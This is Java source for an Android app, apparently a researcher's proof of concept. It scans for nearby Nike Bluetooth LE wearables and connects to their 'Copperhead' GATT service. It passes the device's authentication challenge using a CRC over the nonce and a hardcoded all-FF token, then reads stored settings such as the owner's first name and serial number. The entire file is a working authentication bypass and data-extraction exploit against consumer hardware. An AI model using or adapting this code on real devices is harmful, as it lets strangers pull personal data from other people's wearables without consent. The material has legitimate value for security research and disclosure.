/* * Copyleft of Simone Margaritelli aka evilsocket <evilsocket@gmail.com> * http://www.evilsocket.net/ * * This is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this software. If not, see <http://www.gnu.org/licenses/>. */ package com.evilsocket.blehacks; import java.nio.ByteBuffer; import java.nio.ByteOrder; import java.util.ArrayList; import java.util.Arrays; import java.util.HashMap; import java.util.Iterator; import java.util.Map; import java.util.Set; import java.util.UUID; import com.evilsocket.blehacks.Utils.Logger; import android.support.v7.app.ActionBarActivity; import android.widget.TextView; import android.bluetooth.BluetoothAdapter; import android.bluetooth.BluetoothDevice; import android.bluetooth.BluetoothGatt; import android.bluetooth.BluetoothGattCharacteristic; import android.bluetooth.BluetoothGattDescriptor; import android.bluetooth.BluetoothGattService; import android.bluetooth.BluetoothManager; import android.content.Context; import android.content.Intent; import android.os.Bundle; import android.os.ParcelUuid; public class MainActivity extends ActionBarActivity { private final static int REQUEST_ENABLE_BT = 1; private final static UUID CLIENT_CHARACTERISTIC_CONFIG_UUID = UUID.fromString("00002902-0000-1000-8000-00805f9b34fb"); private static final UUID COPPERHEAD_CMD_UUID = UUID.fromString("c7d25540-31dd-11e2-81c1-0800200c9a66"); private static final UUID COPPERHEAD_RSP_UUID = UUID.fromString("d36f33f0-31dd-11e2-81c1-0800200c9a66"); private static final UUID COPPERHEAD_SERVICE_UUID = UUID.fromString("83cdc410-31dd-11e2-81c1-0800200c9a66"); private BluetoothManager _btManager = null; private BluetoothAdapter _btAdapter = null; private BLEIoQueue _ioqueue = null; private boolean _scanning = false; private BluetoothAdapter.LeScanCallback _leScanCallback = null; private static final byte[] NIKE_COMPANY_CODE = { 0, 120 }; private void dumpDeviceAdvData( Bundle advData ) { Set<String> props = advData.keySet(); for( String prop : props ) { String mess = " " + prop + " : "; if( prop.equals("COMPANYCODE") || prop.equals("MANUDATA") ) { byte[] value = advData.getByteArray(prop); mess += Utils.bytesToHex(value) + " ( " + new String(value) + " )"; } else if( prop.equals("SERVICES") ) { ArrayList<ParcelUuid> services = advData.getParcelableArrayList(prop); for( ParcelUuid uuid : services ) { mess += uuid.toString() + " "; } } else if( prop.equals("LOCALNAME") ) { mess += advData.getString(prop); } Logger.d( mess ); } } private static final Map<Integer, String> propsMap; static { propsMap = new HashMap<Integer, String>(); propsMap.put( BluetoothGattCharacteristic.PROPERTY_BROADCAST, "PROPERTY_BROADCAST" ); propsMap.put( BluetoothGattCharacteristic.PROPERTY_READ, "PROPERTY_READ" ); propsMap.put( BluetoothGattCharacteristic.PROPERTY_WRITE_NO_RESPONSE, "PROPERTY_WRITE_NO_RESPONSE" ); propsMap.put( BluetoothGattCharacteristic.PROPERTY_WRITE, "PROPERTY_WRITE" ); propsMap.put( BluetoothGattCharacteristic.PROPERTY_NOTIFY, "PROPERTY_NOTIFY" ); propsMap.put( BluetoothGattCharacteristic.PROPERTY_INDICATE, "PROPERTY_INDICATE" ); propsMap.put( BluetoothGattCharacteristic.PROPERTY_SIGNED_WRITE, "PROPERTY_SIGNED_WRITE" ); propsMap.put( BluetoothGattCharacteristic.PROPERTY_EXTENDED_PROPS, "PROPERTY_EXTENDED_PROPS" ); } private void dumpServices( BluetoothGatt gatt ) { for( BluetoothGattService svc : gatt.getServices() ) { String svc_uuid = svc.getUuid().toString(), svc_name = GATTAttributes.lookup( svc_uuid, "" ); Logger.d( "SERVICE " + svc_name + " ( " + svc_uuid + " )" ); for( BluetoothGattCharacteristic chara : svc.getCharacteristics() ) { String chr_uuid = chara.getUuid().toString(), chr_name = GATTAttributes.lookup( chr_uuid, "" ); int chr_props = chara.getProperties(); String props = ""; Iterator it = propsMap.entrySet().iterator(); while( it.hasNext() ){ Map.Entry pairs = (Map.Entry)it.next(); if( ( chr_props & (Integer)pairs.getKey() ) != 0 ){ props += pairs.getValue().toString() + " "; } } Logger.d( " " + chr_name + " ( " + chr_uuid + " ) [" + props + "] : " + Utils.bytesToHex(chara.getValue() ) ); for( BluetoothGattDescriptor desc : chara.getDescriptors() ) { Logger.d( " DESC: " + desc.getUuid() ); } } } Logger.d( "---------------------------------------------------------------------------" ); } @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); Logger.setLogView( this, (TextView)findViewById( R.id.log_view ) ); _btManager = (BluetoothManager)getSystemService(Context.BLUETOOTH_SERVICE); _btAdapter = _btManager.getAdapter(); if( _btAdapter.isEnabled() == false ){ Logger.w( "Bluetooth is disabled." ); Intent enableIntent = new Intent(BluetoothAdapter.ACTION_REQUEST_ENABLE); startActivityForResult(enableIntent,REQUEST_ENABLE_BT); } _leScanCallback = new BluetoothAdapter.LeScanCallback() { @Override public void onLeScan(BluetoothDevice device, int rssi, byte[] scanRecord) { if( _scanning == false ) return; try { /* * Parse device advertisment data. */ final Bundle advData = AdvertisementData.parse(scanRecord); /* * Is this a nike device? */ if( Arrays.equals(advData.getByteArray("COMPANYCODE"), NIKE_COMPANY_CODE ) ) { Logger.i( "FOUND NIKE DEVICE [" + device +"]" ); dumpDeviceAdvData( advData ); _scanning = false; _btAdapter.stopLeScan(_leScanCallback); Logger.i( "Connecting to GATT server ..." ); _ioqueue = new BLEIoQueue( new BLEIoQueue.QueueCallbacks() { private BluetoothGattService _CopperheadService = null; private BluetoothGattCharacteristic _CommandChannel = null; private BluetoothGattCharacteristic _ResponseChannel = null; // add a raw packet to the queue private void addPacket( BLEIoQueue queue, byte[] data, BLEIoOperation.OnResponseCallback callback ){ BLEIoOperation op = new BLEIoOperation( BLEIoOperation.Type.WRITE_CHARACTERISTICS, "Sending command.", callback ); op.set_data( data ); op.set_characteristic( _CommandChannel ); queue.add(op); } private void addPacket( BLEIoQueue queue, String s, BLEIoOperation.OnResponseCallback callback ){ byte[] buffer = new byte[ s.length() / 2 ]; for( int i = 0, j = 0; i < s.length(); i += 2, ++j ){ buffer[j] = (byte) ((Character.digit(s.charAt(i), 16) << 4) + Character.digit(s.charAt(i+1), 16)); } addPacket( queue, buffer, callback ); } // create the needed packet to request a specific setting from the device private void requestSetting( BLEIoQueue queue, int code ) { CopperheadPacket oppacket = new CopperheadPacket(5); oppacket.setOpcode((byte)10); ByteBuffer b = oppacket.getPayloadBuffer(); b.put( (byte)1 ); b.put( (byte)code ); Packet p = Packet.wrap(oppacket); p.setProtocolLayer( CommandResponseOperation.ProtocolLayer.COMMAND ); p.setPacketCount(0); p.setPacketIndex(0); p.setSequenceNumber(1); addPacket( queue, p.getBuffer(), new BLEIoOperation.OnResponseCallback() { @Override public void onData(Packet config) { byte[] raw = config.getBuffer(); try { Utils.processGetSettingsResponse(raw); } catch( Exception e ) { Logger.e( e.toString() ); } } } ); } @Override public void onServicesDiscovered(BLEIoQueue queue, BluetoothGatt gatt, int status) { dumpServices(gatt); _CopperheadService = gatt.getService( COPPERHEAD_SERVICE_UUID ); if( _CopperheadService == null ){ Logger.e( "No Copperhead service found." ); return; } /* * Get command and response channels. */ _CommandChannel = _CopperheadService.getCharacteristic( COPPERHEAD_CMD_UUID ); _ResponseChannel = _CopperheadService.getCharacteristic( COPPERHEAD_RSP_UUID ); if( _CommandChannel == null ){ Logger.e( "Could not find COPPERHEAD_CMD_UUID" ); return; } else if( _ResponseChannel == null ){ Logger.e( "Could not find COPPERHEAD_RSP_UUID" ); return; } /* * Enable the response channel to receive incoming data notifications. */ BluetoothGattDescriptor rsp_config_desc = _ResponseChannel.getDescriptor( CLIENT_CHARACTERISTIC_CONFIG_UUID ); if( rsp_config_desc == null ){ Logger.e( "RSP has no client config." ); return; } BLEIoOperation notify = new BLEIoOperation( BLEIoOperation.Type.NOTIFY_START, "Enable response channel notifications." ); notify.set_characteristic( _ResponseChannel ); notify.set_descriptor( rsp_config_desc ); queue.add(notify); final BLEIoQueue fq = queue; Packet auth = new Packet(19); /* * Send the "START AUTH" packet -> 0x90 0x01 0x01 0x00 ..... */ auth.setProtocolLayer( CommandResponseOperation.ProtocolLayer.SESSION ); auth.setPacketCount(0); auth.setPacketIndex(0); auth.setSequenceNumber(1); auth.setCommandBytes( (byte)1, (byte)1 ); addPacket( queue, auth.getBuffer(), new BLEIoOperation.OnResponseCallback() { @Override public void onData( Packet challenge_packet ) { Logger.d( "<< " + challenge_packet.toString() ); ByteBuffer buffer = challenge_packet.getBuffered(ByteOrder.LITTLE_ENDIAN); // remove op code and length int opcode = buffer.get(); int length = buffer.get(); switch( buffer.get() ) { case 0x41: Logger.i( "Received authentication challenge" ); /* * Get 16 bytes of AUTH nonce */ byte[] nonce = new byte[16]; buffer.get(nonce); if ((nonce == null) || (nonce.length != 16)) { Logger.e("Missing or invalid authentication challenge nonce"); } else { CopperheadCRC32 crc = new CopperheadCRC32(); byte[] auth_token = Utils.hexToBytes("FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF"); Logger.d( "NONCE: " + Utils.bytesToHex( nonce ) ); /* * Create the response packet: 0xb0 0x03 0x02 [2 BYTES OF CRC] 0x00 ... */ Packet resp_packet = new Packet(19); resp_packet.setProtocolLayer( CommandResponseOperation.ProtocolLayer.SESSION ); resp_packet.setPacketCount(0); resp_packet.setPacketIndex(0); resp_packet.setSequenceNumber( challenge_packet.getSequenceNumber() + 1 ); ByteBuffer response = ByteBuffer.allocate(18); response.put( (byte)0x03 ); response.put( (byte)0x02 ); crc.update(nonce); crc.update(auth_token); short sum = (short)((0xFFFF & crc.getValue()) ^ (0xFFFF & crc.getValue() >>> 16)); response.putShort(sum); resp_packet.setPayload( response.array() ); addPacket( fq, resp_packet.getBuffer(), new BLEIoOperation.OnResponseCallback() { @Override public void onData(Packet challenge_response) { Logger.d( "<< " + challenge_response.toString() ); ByteBuffer buffer = challenge_response.getBuffered(ByteOrder.LITTLE_ENDIAN); // remove op code and length int opcode = buffer.get(); int length = buffer.get(); /* * Get the authentication reply code. */ int reply = buffer.get(); if( reply == 0x42 ) { Logger.i( "Succesfully authenticated." ); // Request some settings requestSetting( fq, Utils.getSettingCode( "BAND_COLOR" ) ); requestSetting( fq, Utils.getSettingCode( "FUEL" ) ); requestSetting( fq, Utils.getSettingCode( "FIRST_NAME" ) ); requestSetting( fq, Utils.getSettingCode( "SERIAL_NUMBER" ) ); } else { Logger.e( "Authentication failure, reply: " + reply ); } } }); } break; default: Logger.e( "Unknown auth code." ); } } }); } }); device.connectGatt( MainActivity.this, false, _ioqueue ); } } catch( Exception e ) { Logger.e( e.toString() ); } } }; Logger.i( "Starting scann ..." ); _scanning = true; _btAdapter.startLeScan(_leScanCallback); } }